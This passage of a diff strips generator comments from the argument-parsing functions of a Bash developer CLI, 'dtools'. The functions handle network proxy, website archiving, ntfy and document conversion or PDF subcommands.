"--persistent-dir-prefix needs --persistent" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="64" [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="4" [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="2" [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." [[ -n ${args['--version']:-} ]] || args['--version']="13" - # :command.validations - # :flag.validations if [[ -v args['--disk-size'] ]]; then validation_output="$(validate_integer "${args['--disk-size']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28818,7 +25770,6 @@ dtools_vm_mac_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--ram-size'] ]]; then validation_output="$(validate_integer "${args['--ram-size']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28827,7 +25778,6 @@ dtools_vm_mac_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--cpu-cores'] ]]; then validation_output="$(validate_integer "${args['--cpu-cores']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28836,7 +25786,6 @@ dtools_vm_mac_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--version']:-} ]] && [[ ! ${args['--version']:-} =~ ^(15|14|13|12|11)$ ]]; then printf "%s\n" "--version must be one of: 15, 14, 13, 12, 11" >&2 exit 1 @@ -28844,11 +25793,9 @@ dtools_vm_mac_parse_requirements() { } -# :command.parse_requirements dtools_network_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28865,7 +25812,6 @@ dtools_network_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -28927,7 +25873,6 @@ dtools_network_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_network_usage >&2 exit 1 @@ -28940,7 +25885,6 @@ dtools_network_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28951,8 +25895,7 @@ dtools_network_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -28963,11 +25906,9 @@ dtools_network_parse_requirements() { } -# :command.parse_requirements dtools_network_generate_self_signed_certificate_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28984,9 +25925,8 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v openssl >/dev/null 2>&1; then printf "missing dependency: openssl\n" >&2 printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 @@ -28999,17 +25939,14 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { exit 1 fi - # :command.command_filter action="network generate-self-signed-certificate" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --output) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output']="$2" shift @@ -29020,10 +25957,8 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { fi ;; - # :flag.case --key-output) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--key-output']="$2" shift @@ -29034,10 +25969,8 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { fi ;; - # :flag.case --hostname) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--hostname']="$2" shift @@ -29048,10 +25981,8 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { fi ;; - # :flag.case --pfx-output) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--pfx-output']="$2" shift @@ -29068,8 +25999,7 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -29078,7 +26008,6 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--output']+x} ]]; then printf "missing required flag: --output OUTPUT\n" >&2 exit 1 @@ -29088,17 +26017,14 @@ dtools_network_generate_self_signed_certificate_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--hostname']:-} ]] || args['--hostname']="localhost" [[ -n ${args['--pfx-output']:-} ]] || args['--pfx-output']="false" } -# :command.parse_requirements dtools_network_https_proxy_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -29115,9 +26041,8 @@ dtools_network_https_proxy_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v socat >/dev/null 2>&1; then printf "missing dependency: socat\n" >&2 printf "%s\n\n" "Install with 'brew install socat'" >&2 @@ -29126,7 +26051,6 @@ dtools_network_https_proxy_parse_requirements() { deps['socat']="$(command -v socat | head -n1)" fi - # :dependency.filter if ! command -v openssl >/dev/null 2>&1; then printf "missing dependency: openssl\n" >&2 printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 @@ -29139,17 +26063,14 @@ dtools_network_https_proxy_parse_requirements() { exit 1 fi - # :command.command_filter action="network https-proxy" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --https-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--https-port']="$2" shift @@ -29160,10 +26081,8 @@ dtools_network_https_proxy_parse_requirements() { fi ;; - # :flag.case --proxy-target-host) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--proxy-target-host']="$2" shift @@ -29174,10 +26093,8 @@ dtools_network_https_proxy_parse_requirements() { fi ;; - # :flag.case --proxy-target-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--proxy-target-port']="$2" shift @@ -29188,10 +26105,8 @@ dtools_network_https_proxy_parse_requirements() { fi ;; - # :flag.case --ssl-certificate) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--ssl-certificate']="$2" shift @@ -29208,8 +26123,7 @@ dtools_network_https_proxy_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -29218,24 +26132,20 @@ dtools_network_https_proxy_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--proxy-target-port']+x} ]]; then printf "missing required flag: --proxy-target-port PROXY_TARGET_PORT\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--https-port']:-} ]] || args['--https-port']="443" [[ -n ${args['--proxy-target-host']:-} ]] || args['--proxy-target-host']="localhost" [[ -n ${args['--ssl-certificate']:-} ]] || args['--ssl-certificate']="/etc/devtools/dtools.pem" } -# :command.parse_requirements dtools_network_tcp_proxy_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -29252,9 +26162,8 @@ dtools_network_tcp_proxy_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v simpleproxy >/dev/null 2>&1; then printf "missing dependency: simpleproxy\n" >&2 printf "%s\n\n" "Install with 'sudo apt install simpleproxy'" >&2 @@ -29267,17 +26176,14 @@ dtools_network_tcp_proxy_parse_requirements() { exit 1 fi - # :command.command_filter action="network tcp-proxy" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --tcp-host) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--tcp-host']="$2" shift @@ -29288,10 +26194,8 @@ dtools_network_tcp_proxy_parse_requirements() { fi ;; - # :flag.case --tcp-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--tcp-port']="$2" shift @@ -29302,10 +26206,8 @@ dtools_network_tcp_proxy_parse_requirements() { fi ;; - # :flag.case --proxy-target-host) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--proxy-target-host']="$2" shift @@ -29316,10 +26218,8 @@ dtools_network_tcp_proxy_parse_requirements() { fi ;; - # :flag.case --proxy-target-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--proxy-target-port']="$2" shift @@ -29336,8 +26236,7 @@ dtools_network_tcp_proxy_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -29346,7 +26245,6 @@ dtools_network_tcp_proxy_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--tcp-port']+x} ]]; then printf "missing required flag: --tcp-port TCP_PORT\n" >&2 exit 1 @@ -29356,11 +26254,9 @@ dtools_network_tcp_proxy_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--tcp-host']:-} ]] || args['--tcp-host']="0.0.0.0" [[ -n ${args['--proxy-target-host']:-} ]] || args['--proxy-target-host']="localhost" - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -29369,11 +26265,9 @@ dtools_network_tcp_proxy_parse_requirements() { } -# :command.parse_requirements dtools_network_proxy_with_nginx_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -29390,9 +26284,8 @@ dtools_network_proxy_with_nginx_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v nginx >/dev/null 2>&1; then printf "missing dependency: nginx\n" >&2 printf "%s\n\n" "Install with 'brew install nginx'" >&2 @@ -29405,17 +26298,14 @@ dtools_network_proxy_with_nginx_parse_requirements() { exit 1 fi - # :command.command_filter action="network proxy-with-nginx" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --tcp-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--tcp-port']="$2" shift @@ -29426,10 +26316,8 @@ dtools_network_proxy_with_nginx_parse_requirements() { fi ;; - # :flag.case --proxy-target-host) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--proxy-target-host']="$2" shift @@ -29440,10 +26328,8 @@ dtools_network_proxy_with_nginx_parse_requirements() { fi ;; - # :flag.case --proxy-target-protocol) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--proxy-target-protocol']="$2" shift @@ -29460,8 +26346,7 @@ dtools_network_proxy_with_nginx_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -29470,17 +26355,14 @@ dtools_network_proxy_with_nginx_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--proxy-target-host']+x} ]]; then printf "missing required flag: --proxy-target-host PROXY_TARGET_HOST\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--tcp-port']:-} ]] || args['--tcp-port']="8080" [[ -n ${args['--proxy-target-protocol']:-} ]] || args['--proxy-target-protocol']="http" - # :command.whitelist_filter if [[ ${args['--proxy-target-protocol']:-} ]] && [[ ! ${args['--proxy-target-protocol']:-} =~ ^(http|https)$ ]]; then printf "%s\n" "--proxy-target-protocol must be one of: http, https" >&2 exit 1 @@ -29488,11 +26370,9 @@ dtools_network_proxy_with_nginx_parse_requirements() { } -# :command.parse_requirements dtools_network_mitm_proxy_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -29509,9 +26389,8 @@ dtools_network_mitm_proxy_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v mitmproxy >/dev/null 2>&1; then printf "missing dependency: mitmproxy\n" >&2 printf "%s\n\n" "Install with 'brew install --cask mitmproxy'" >&2 @@ -29524,17 +26403,14 @@ dtools_network_mitm_proxy_parse_requirements() { exit 1 fi - # :command.command_filter action="network mitm-proxy" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--port']="$2" shift @@ -29545,10 +26421,8 @@ dtools_network_mitm_proxy_parse_requirements() { fi ;; - # :flag.case --script-file) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--script-file']="$2" shift @@ -29565,9 +26439,7 @@ dtools_network_mitm_proxy_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['domain']+x} ]]; then args['domain']=$1 shift @@ -29581,18 +26453,14 @@ dtools_network_mitm_proxy_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['domain']+x} ]]; then printf "missing required argument: DOMAIN\nusage: dtools network mitm-proxy DOMAIN [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--port']:-} ]] || args['--port']="8080" - # :command.validations - # :flag.validations if [[ -v args['--script-file'] ]]; then validation_output="$(validate_file_exists "${args['--script-file']:-}")" if [[ -n "${validation_output}" ]]; then @@ -29603,11 +26471,9 @@ dtools_network_mitm_proxy_parse_requirements() { } -# :command.parse_requirements dtools_network_archive_website_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -29624,9 +26490,8 @@ dtools_network_archive_website_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -29639,17 +26504,14 @@ dtools_network_archive_website_parse_requirements() { exit 1 fi - # :command.command_filter action="network archive-website" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --shm-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--shm-size']="$2" shift @@ -29660,10 +26522,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --url) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--url']="$2" shift @@ -29674,10 +26534,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --name) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--name']="$2" shift @@ -29688,10 +26546,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --output) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output']="$2" shift @@ -29702,10 +26558,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --limit) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--limit']="$2" shift @@ -29716,10 +26570,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --behaviors) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--behaviors']="$2" shift @@ -29730,10 +26582,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --exclude) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--exclude']="$2" shift @@ -29744,10 +26594,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --workers) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--workers']="$2" shift @@ -29758,10 +26606,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --wait-until) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--wait-until']="$2" shift @@ -29772,10 +26618,8 @@ dtools_network_archive_website_parse_requirements() { fi ;; - # :flag.case --keep) - # :flag.case_no_arg args['--keep']=1 shift ;; @@ -29786,8 +26630,7 @@ dtools_network_archive_website_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -29796,7 +26639,6 @@ dtools_network_archive_website_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--url']+x} ]]; then printf "missing required flag: --url URL\n" >&2 exit 1 @@ -29806,7 +26648,6 @@ dtools_network_archive_website_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--shm-size']:-} ]] || args['--shm-size']="2gb" [[ -n ${args['--output']:-} ]] || args['--output']="/output" [[ -n ${args['--behaviors']:-} ]] || args['--behaviors']="autoplay,autofetch,siteSpecific" @@ -29814,11 +26655,9 @@ dtools_network_archive_website_parse_requirements() { } -# :command.parse_requirements dtools_network_warc_2_zim_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -29835,9 +26674,8 @@ dtools_network_warc_2_zim_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -29850,17 +26688,14 @@ dtools_network_warc_2_zim_parse_requirements() { exit 1 fi - # :command.command_filter action="network warc-2-zim" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --shm-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--shm-size']="$2" shift @@ -29871,10 +26706,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --url) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--url']="$2" shift @@ -29885,10 +26718,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --name) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--name']="$2" shift @@ -29899,10 +26730,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --output) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output']="$2" shift @@ -29913,10 +26742,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --limit) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--limit']="$2" shift @@ -29927,10 +26754,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --behaviors) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--behaviors']="$2" shift @@ -29941,10 +26766,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --exclude) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--exclude']="$2" shift @@ -29955,10 +26778,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --workers) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--workers']="$2" shift @@ -29969,10 +26790,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --wait-until) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--wait-until']="$2" shift @@ -29983,10 +26802,8 @@ dtools_network_warc_2_zim_parse_requirements() { fi ;; - # :flag.case --keep) - # :flag.case_no_arg args['--keep']=1 shift ;; @@ -29997,8 +26814,7 @@ dtools_network_warc_2_zim_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -30007,7 +26823,6 @@ dtools_network_warc_2_zim_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--url']+x} ]]; then printf "missing required flag: --url URL\n" >&2 exit 1 @@ -30017,7 +26832,6 @@ dtools_network_warc_2_zim_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--shm-size']:-} ]] || args['--shm-size']="2gb" [[ -n ${args['--output']:-} ]] || args['--output']="/output" [[ -n ${args['--behaviors']:-} ]] || args['--behaviors']="autoplay,autofetch,siteSpecific" @@ -30025,11 +26839,9 @@ dtools_network_warc_2_zim_parse_requirements() { } -# :command.parse_requirements dtools_network_mermaid_api_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30046,9 +26858,8 @@ dtools_network_mermaid_api_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -30061,10 +26872,8 @@ dtools_network_mermaid_api_parse_requirements() { exit 1 fi - # :command.command_filter action="network mermaid-api" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30075,9 +26884,7 @@ dtools_network_mermaid_api_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['port']+x} ]]; then args['port']=$1 shift @@ -30091,11 +26898,8 @@ dtools_network_mermaid_api_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['port']:-} ]] || args['port']="8087" - # :command.validations - # :argument.validations if [[ -v args['port'] ]]; then validation_output="$(validate_integer "${args['port']:-}")" if [[ -n "$validation_output" ]]; then @@ -30106,11 +26910,9 @@ dtools_network_mermaid_api_parse_requirements() { } -# :command.parse_requirements dtools_ntfy_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30127,9 +26929,8 @@ dtools_ntfy_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ntfy >/dev/null 2>&1; then printf "missing dependency: ntfy\n" >&2 printf "%s\n\n" "Ensure ntfy is installed and configured (see 'https://docs.ntfy.sh/install/')" >&2 @@ -30142,7 +26943,6 @@ dtools_ntfy_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -30162,7 +26962,6 @@ dtools_ntfy_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_ntfy_usage >&2 exit 1 @@ -30175,7 +26974,6 @@ dtools_ntfy_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30186,8 +26984,7 @@ dtools_ntfy_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -30198,11 +26995,9 @@ dtools_ntfy_parse_requirements() { } -# :command.parse_requirements dtools_ntfy_subscribe_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30219,9 +27014,8 @@ dtools_ntfy_subscribe_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v mpg321 >/dev/null 2>&1; then printf "missing dependency: mpg321\n" >&2 printf "%s\n\n" "Install with 'brew install mpg321'" >&2 @@ -30234,17 +27028,14 @@ dtools_ntfy_subscribe_parse_requirements() { exit 1 fi - # :command.command_filter action="ntfy subscribe" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --sound | -s) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--sound']="$2" shift @@ -30261,9 +27052,7 @@ dtools_ntfy_subscribe_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['topic']+x} ]]; then args['topic']=$1 shift @@ -30277,16 +27066,13 @@ dtools_ntfy_subscribe_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['topic']:-} ]] || args['topic']="alerts" } -# :command.parse_requirements dtools_ntfy_reference_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30303,10 +27089,8 @@ dtools_ntfy_reference_parse_requirements() { esac done - # :command.command_filter action="ntfy reference" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30317,8 +27101,7 @@ dtools_ntfy_reference_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -30329,11 +27112,9 @@ dtools_ntfy_reference_parse_requirements() { } -# :command.parse_requirements dtools_document_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30350,7 +27131,6 @@ dtools_document_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -30377,7 +27157,6 @@ dtools_document_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_document_usage >&2 exit 1 @@ -30390,7 +27169,6 @@ dtools_document_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30401,8 +27179,7 @@ dtools_document_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -30413,11 +27190,9 @@ dtools_document_parse_requirements() { } -# :command.parse_requirements dtools_document_convert_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30434,9 +27209,8 @@ dtools_document_convert_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v pandoc >/dev/null 2>&1; then printf "missing dependency: pandoc\n" >&2 printf "%s\n\n" "Install with 'brew install pandoc'" >&2 @@ -30449,17 +27223,14 @@ dtools_document_convert_parse_requirements() { exit 1 fi - # :command.command_filter action="document convert" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --source-format) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--source-format']="$2" shift @@ -30470,10 +27241,8 @@ dtools_document_convert_parse_requirements() { fi ;; - # :flag.case --target-format) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--target-format']="$2" shift @@ -30484,10 +27253,8 @@ dtools_document_convert_parse_requirements() { fi ;; - # :flag.case --output-file) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift @@ -30504,9 +27271,7 @@ dtools_document_convert_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['file']+x} ]]; then args['file']=$1 shift @@ -30520,14 +27285,12 @@ dtools_document_convert_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['file']+x} ]]; then printf "missing required argument: FILE\nusage: dtools document convert FILE [OPTIONS]\n" >&2 exit 1 fi - # :command.required_flags_filter if [[ -z ${args['--source-format']+x} ]]; then printf "missing required flag: --source-format SOURCE_FORMAT\n" >&2 exit 1 @@ -30537,7 +27300,6 @@ dtools_document_convert_parse_requirements() { exit 1 fi - # :command.whitelist_filter if [[ ${args['--source-format']:-} ]] && [[ ! ${args['--source-format']:-} =~ ^(bibtex|biblatex|bits|commonmark|commonmark_x|creole|csljson|csv|tsv|djot|docbook|docx|dokuwiki|endnotexml|epub|fb2|gfm|haddock|html|ipynb|jats|jira|json|latex|markdown|markdown_mmd|markdown_phpextra|markdown_strict|mediawiki|man|mdoc|muse|native|odt|opml|org|pod|ris|rtf|rst|t2t|textile|tikiwiki|twiki|typst|vimwiki)$ ]]; then printf "%s\n" "--source-format must be one of: bibtex, biblatex, bits, commonmark, commonmark_x, creole, csljson, csv, tsv, djot, docbook, docx, dokuwiki, endnotexml, epub, fb2, gfm, haddock, html, ipynb, jats, jira, json, latex, markdown, markdown_mmd, markdown_phpextra, markdown_strict, mediawiki, man, mdoc, muse, native, odt, opml, org, pod, ris, rtf, rst, t2t, textile, tikiwiki, twiki, typst, vimwiki" >&2 exit 1 @@ -30549,11 +27311,9 @@ dtools_document_convert_parse_requirements() { } -# :command.parse_requirements dtools_document_merge_pdf_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30570,9 +27330,8 @@ dtools_document_merge_pdf_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v pdftk >/dev/null 2>&1; then printf "missing dependency: pdftk\n" >&2 printf "%s\n\n" "Install with 'brew install pdftk-java'" >&2 @@ -30585,17 +27344,14 @@ dtools_document_merge_pdf_parse_requirements() { exit 1 fi - # :command.command_filter action="document merge-pdf" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --input-file | -i) - # :flag.case_arg if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--input-file']+x} ]]; then @@ -30617,9 +27373,7 @@ dtools_document_merge_pdf_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['output-file']+x} ]]; then args['output-file']=$1 shift @@ -30633,7 +27387,6 @@ dtools_document_merge_pdf_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['output-file']+x} ]]; then printf "missing required argument: OUTPUT-FILE\nusage: dtools document merge-pdf OUTPUT-FILE [OPTIONS]\n" >&2 @@ -30642,11 +27395,9 @@ dtools_document_merge_pdf_parse_requirements() { } -# :command.parse_requirements dtools_document_decrypt_pdf_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30663,9 +27414,8 @@ dtools_document_decrypt_pdf_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v qpdf >/dev/null 2>&1; then printf "missing dependency: qpdf\n" >&2 printf "%s\n\n" "Install with 'brew install qpdf'" >&2 @@ -30678,17 +27428,14 @@ dtools_document_decrypt_pdf_parse_requirements() { exit 1 fi - # :command.command_filter action="document decrypt-pdf" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --output-file) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift @@ -30705,9 +27452,7 @@ dtools_document_decrypt_pdf_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['input-file']+x} ]]; then args['input-file']=$1 shift @@ -30721,14 +27466,12 @@ dtools_document_decrypt_pdf_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['input-file']+x} ]]; then printf "missing required argument: INPUT-FILE\nusage: dtools document decrypt-pdf INPUT-FILE [OPTIONS]\n" >&2 exit 1 fi - # :command.required_flags_filter if [[ -z ${args['--output-file']+x} ]]; then printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 exit 1 @@ -30736,11 +27479,9 